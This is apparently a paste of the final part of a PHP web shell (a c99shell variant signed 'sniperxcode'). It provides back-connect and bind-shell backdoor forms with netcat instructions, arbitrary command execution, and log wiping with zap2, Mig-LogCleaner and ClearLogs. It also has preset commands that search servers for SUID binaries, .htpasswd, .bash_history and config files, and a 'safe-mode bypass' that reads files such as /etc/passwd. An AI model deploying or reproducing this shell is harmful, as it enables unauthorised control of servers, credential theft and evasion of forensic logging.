  3602. "C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
  3603. "2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
  3604. "CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
  3605. "Ow==",
  3606. "ext_doc"=>
  3607. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
  3608. "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
  3609. "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
  3610. "ext_exe"=>
  3611. "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
  3612. "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
  3613. "xhIAOw==",
  3614. "ext_h"=>
  3615. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
  3616. "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
  3617. "Wq/NknbbSgAAOw==",
  3618. "ext_hpp"=>
  3619. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
  3620. "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
  3621. "UqUagnbLdZa+YFcCADs=",
  3622. "ext_htaccess"=>
  3623. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
  3624. "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
  3625. "AAA7",
  3626. "ext_html"=>
  3627. "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
  3628. "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
  3629. "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
  3630. "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
  3631. "ADs=",
  3632. "ext_jpg"=>
  3633. "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
  3634. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
  3635. "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
  3636. "FxEAOw==",
  3637. "ext_js"=>
  3638. "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
  3639. "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
  3640. "a00AjYYBbc/o9HjNniUAADs=",
  3641. "ext_lnk"=>
  3642. "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
  3643. "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
  3644. "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
  3645. "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
  3646. "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
  3647. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3648. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3649. "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
  3650. "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
  3651. "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
  3652. "ADs=",
  3653. "ext_log"=>
  3654. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
  3655. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
  3656. "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
  3657. "ext_php"=>
  3658. "R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg".
  3659. "t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
  3660. "ext_pl"=>
  3661. "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
  3662. "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
  3663. "ext_swf"=>
  3664. "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
  3665. "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  3666. "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
  3667. "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
  3668. "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
  3669. "ext_tar"=>
  3670. "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
  3671. "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
  3672. "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
  3673. "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
  3674. "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3675. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3676. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3677. "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
  3678. "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
  3679. "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
  3680. "u4tLAgEAOw==",
  3681. "ext_txt"=>
  3682. "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
  3683. "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
  3684. "UpPWG3Ig6Hq/XmRjuZwkAAA7",
  3685. "ext_wri"=>
  3686. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
  3687. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
  3688. "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
  3689. "ext_xml"=>
  3690. "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
  3691. "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3692. "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
  3693. "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
  3694. "IQA7"
  3695. );
  3696. //For simple size- and speed-optimization.
  3697. $imgequals = array(
  3698. "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
  3699. "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
  3700. "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
  3701. "ext_html"=>array("ext_html","ext_htm"),
  3702. "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
  3703. "ext_lnk"=>array("ext_lnk","ext_url"),
  3704. "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
  3705. "ext_doc"=>array("ext_doc","ext_dot"),
  3706. "ext_js"=>array("ext_js","ext_vbs"),
  3707. "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
  3708. "ext_wri"=>array("ext_wri","ext_rtf"),
  3709. "ext_swf"=>array("ext_swf","ext_fla"),
  3710. "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
  3711. "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
  3712. );
  3713. if (!$getall)
  3714. {
  3715. header("Content-type: image/gif");
  3716. header("Cache-control: public");
  3717. header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  3718. header("Cache-control: max-age=".(60*60*24*7));
  3719. header("Last-Modified: ".date("r",filemtime(__FILE__)));
  3720. foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
  3721. if (empty($images[$img])) {$img = "small_unk";}
  3722. if (in_array($img,$ext_tar)) {$img = "ext_tar";}
  3723. echo base64_decode($images[$img]);
  3724. }
  3725. else
  3726. {
  3727. foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
  3728. natsort($images);
  3729. $k = array_keys($images);
  3730. echo "<center>";
  3731. foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
  3732. echo "</center>";
  3733. }
  3734. exit;
  3735. }
  3736. if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by tristram[CCTeaM].<br>Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>All bugs send to tristram's ICQ #656555 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\"><img src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle></a>.</b>";}
  3737. if ($act == "backc")
  3738. {
  3739. $ip = $_SERVER["REMOTE_ADDR"];
  3740. $msg = $_POST['backcconnmsg'];
  3741. $emsg = $_POST['backcconnmsge'];
  3742. echo('<center><b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value='.$ip.'> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>First, run NetCat on your computer using \'<b>nc -l -n -v -p '.$bc_port.'</b>\'. Then, click "Connect" once the port is listening.</center>');
  3743. echo $msg;
  3744. echo $emsg;
  3745. }
  3746.  
  3747. if ($act == 'shbd'){
  3748. $msg = $_POST['backcconnmsg'];
  3749. $emsg = $_POST['backcconnmsge'];
  3750. echo("<center><b>Bind Shell Backdoor:</b></br></br><form name=form method=POST>
  3751. Bind Port: <input type='text' name='backconnectport' value='5992'>
  3752. <input type='hidden' name='use' value='shbd'>
  3753. <input type='submit' value='Install Backdoor'></form>");
  3754. echo("$msg");
  3755. echo("$emsg");
  3756. echo("</center>");
  3757. } ?>
  3758. </td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>
  3759. <tr><td width="100%" height="1" valign="top" colspan="2"></td></tr>
  3760. <tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"></form></td>
  3761. <td width="50%" height="1" valign="top">
  3762. <center>Kernel Info: <form method="get" action="http://google.com/search">
  3763. <input name="q" type="text" size="80" value="<?php echo wordwrap(php_uname()); ?>">
  3764. <input type=submit value="Google!">
  3765. </form></center>
  3766. </td></tr>
  3767. </TABLE>
  3768. <br>
  3769. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>
  3770. <tr><td height="1" valign="top"></td></tr>
  3771. <tr><td width="100%" height="83" valign="top">
  3772.  
  3773. <center>
  3774. <table border=0>
  3775. <tr><td>
  3776. <center>Functions</center>
  3777. </td><td>
  3778. <center>Make Dir</center>
  3779. </td><td>
  3780. <center>Go Dir</center>
  3781. </td></tr>
  3782. <tr><td>
  3783. <center>
  3784. <form action="<?php echo $surl; ?>">
  3785. <input type=hidden name="d" value="<?php echo $dispd; ?>">
  3786. <SELECT NAME="act">
  3787. <OPTION VALUE="zap2">Wipe Logs Using zap2 (*nix)
  3788. <OPTION VALUE="miglc">Wipe Logs Using Mig-LogCleaner (*nix)
  3789. <OPTION VALUE="clearlogs">Wipe Logs Using ClearLogs (Windows)
  3790. </SELECT><br>
  3791. <input type=submit name="submit" value="Execute"><br>
  3792.  
  3793. </form>
  3794. </center>
  3795. </td><td>
  3796. <form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>">
  3797. <center>
  3798. <input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">
  3799. <br>
  3800. <input type=submit value="Create"><br><?php echo $wdt; ?></form>
  3801. </center>
  3802. </td><td>
  3803. <form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls">
  3804. <center>
  3805. <input type="text" name="d" size="50" value="<?php echo $dispd; ?>">
  3806. <br>
  3807. <input type=submit value="Go"><br>
  3808.  
  3809. </form>
  3810. </center>
  3811. </td></tr>
  3812. <tr><td>
  3813. <center>Aliases</center>
  3814. </td><td>
  3815. <center>Make File</center>
  3816. </td><td>
  3817. <center>Go File</center>
  3818. </td></tr>
  3819. <tr><td>
  3820. <?php
  3821. // Command-aliases
  3822. if (!$win) // if the box isn't windows; most likely *nix
  3823. {
  3824. $cmdaliases = array(
  3825. array('-----------------------------------------------------------', 'ls -la'),
  3826. array('Currently Logged in Users', 'w'),
  3827. array('Last User to Connect', 'lastlog'),
  3828. array('Find Users Without a Password', 'cut -d: -f1,2,3 /etc/passwd | grep ::'),
  3829. array('Is /etc Writable?', 'find /etc/ -type f -perm -o+w 2> /dev/null'),
  3830. array('Installed Downloaders', 'which wget curl w3m lynx'),
  3831. array('Open Ports', 'netstat -an | grep -i listen'),
  3832. array('Box Uptime', 'uptime'),
  3833. array('System Variables', 'set'),
  3834. array('ARP table', 'arp -a'),
  3835. array('Patch Level for RedHat 7.0', 'rpm -qa'),
  3836. array('Network Interfaces', 'ifconfig'),
  3837. array('Mounted Filesystems', 'mount'),
  3838. array('Find Suid Bins', 'find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null'),
  3839. array("Find All Suid Files", "find / -type f -perm -04000 -ls"),
  3840. array("Find Suid Files in Current Dir", "find . -type f -perm -04000 -ls"),
  3841. array("Find All Sgid Files", "find / -type f -perm -02000 -ls"),
  3842. array("Find Sgid Files in Current Dir", "find . -type f -perm -02000 -ls"),
  3843. array("Find config.inc.php Files", "find / -type f -name config.inc.php"),
  3844. array("Find config* Files", "find / -type f -name \"config*\""),
  3845. array("Find config* Files in Current Dir", "find . -type f -name \"config*\""),
  3846. array("Find All Writable Folders and Files", "find / -perm -2 -ls"),
  3847. array("Find All Writable Folders and Files in Current Dir", "find . -perm -2 -ls"),
  3848. array("Find All service.pwd Files", "find / -type f -name service.pwd"),
  3849. array("Find service.pwd Files in Current Dir", "find . -type f -name service.pwd"),
  3850. array("Find All .htpasswd Files", "find / -type f -name .htpasswd"),
  3851. array("Find .htpasswd Files in Current Dir", "find . -type f -name .htpasswd"),
  3852. array("Find All .bash_history Files", "find / -type f -name .bash_history"),
  3853. array("Find .bash_history Files in Current Dir", "find . -type f -name .bash_history"),
  3854. array("Find All .fetchmailrc Files", "find / -type f -name .fetchmailrc"),
  3855. array("Find .fetchmailrc Files in Current Dir", "find . -type f -name .fetchmailrc"),
  3856. array("List File Attributes on a Linux Second Extended File System", "lsattr -va"),
  3857. );
  3858. }
  3859. else // if the box is windows
  3860. {
  3861. $cmdaliases = array(
  3862. array('-----------------------------------------------------------', 'dir'),
  3863. array('Active Connections', 'netstat -an'),
  3864. array('ARP Table', 'arp -a'),
  3865. array('Net Shares', 'net use'),
  3866. array('IP Configuration', 'ipconfig /all'),
  3867. array('Disk Quotas', 'fsutil quota query '.$pd[0]),
  3868. array('Drive Type', 'fsutil fsinfo drivetype '.$pd[0])
  3869. );
  3870. }
  3871. ?>
  3872. <center><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">
  3873. <br>
  3874. <input type=submit name=submit value="Execute"><br>
  3875.  
  3876. </form>
  3877. </center>
  3878. </td><td>
  3879. <center>
  3880. <form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>">
  3881. <input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">
  3882. <br>
  3883. <input type=submit value="Create"><br><?php echo $wdt; ?></form>
  3884. </center>
  3885. </td><td>
  3886. <form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>">
  3887. <center>
  3888. <input type="text" name="f" size="50" value="<?php echo $dispd; ?>">
  3889. <br>
  3890. <input type=submit value="Go"></form>
  3891. <br> 
  3892. </center>
  3893. </td></tr>
  3894. </table>
  3895. </center>
  3896. </td></tr>
  3897. </TABLE><br>
  3898. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>
  3899. <tr><td height="1" valign="top" colspan="2"></td></tr>
  3900. <tr><td width=50% height=83 valign=top>
  3901. <center>PHP Safe-Mode Bypass (Read File)<br><br>
  3902. <form action="<?php echo $surl; ?>" method=GET>
  3903. File: <input type=text name="file"> <input type=submit value="Read File">
  3904. <br><br>
  3905. e.g.: /etc/passwd or C:/whatev.txt
  3906. </form>
  3907. </center>
  3908. <?php
  3909. if(isset($_GET['file'])) {
  3910. $test='';
  3911. $temp=tempnam($test, 'cx');
  3912. $file=$_GET['file'];
  3913. $get=htmlspecialchars($file);
  3914. echo 'Trying To Get File <font color=#000099><b>'.$get.'</b></font><br>';
  3915. if(copy("compress.zlib://".$file, $temp)){
  3916. $fichier = fopen($temp, 'r');
  3917. $action = fread($fichier, filesize($temp));
  3918. fclose($fichier);
  3919. $source=htmlspecialchars($action);
  3920. echo '<b>Start '.$get.'</b><br><br><font color=white>'.$source.'</font><br><b><br>Fin <font color=#000099>'.$get.'</font></b>';
  3921. unlink($temp);
  3922. } else
  3923. echo '<font color=red><center>Sorry... File <b>'.htmlspecialchars($file).'</b> dosen\'t exists or you don\'t have access.</center></font>';
  3924. }
  3925. ?>
  3926. </td><td width=50% height=83 valign=top>
  3927. <center>PHP Safe-Mode Bypass (Directory Listing)<br><br>
  3928. <form action="<?php echo $surl; ?>" method=GET>
  3929. Dir: <input type=text name="directory"> <input type=submit value="List Directory">
  3930. <br><br>
  3931. e.g.: /etc/ or C:/
  3932. </form>
  3933. </center>
  3934. <?php
  3935. if(isset($_GET['directory'])) {
  3936. $chemin = $_GET['directory'];
  3937. $files = glob("$chemin*");
  3938. echo 'Trying To List Folder <font color=#000099><b>'.$chemin.'</b></font><br><br>';
  3939. foreach ($files as $filename)
  3940. echo $filename."\n<br>"; // added the \n for easier readability while viewing the html source
  3941. }
  3942. ?>
  3943. </td>
  3944. </tr></TABLE>
  3945. <br>
  3946. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>
  3947. <tr><td height="1" valign="top" colspan="2"></td></tr>
  3948. <tr>
  3949. <td width="50%" height="1" valign="top"><center>Search<form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> - regexp <input type=submit name=submit value="Search"></form></center></p></td>
  3950. <td width="50%" height="1" valign="top"><center>Upload<form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1"> <input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>
  3951. </tr>
  3952. </table>
  3953. <br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><center><b>--[ sniperxcode v<?php echo $shver; ?>, coded by storm</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b><br>Who said that it's better as a hacKer?<br>I wish that I had never hacked at all.</center></td></tr></table>
  3954. </body></html><?php chdir($lastdir); c99shexit(); ?>
  3955. <IFRAME src="http://www.google.com" width=0 height=0 frameborder=0></IFRAME>
RAW Paste Data Copied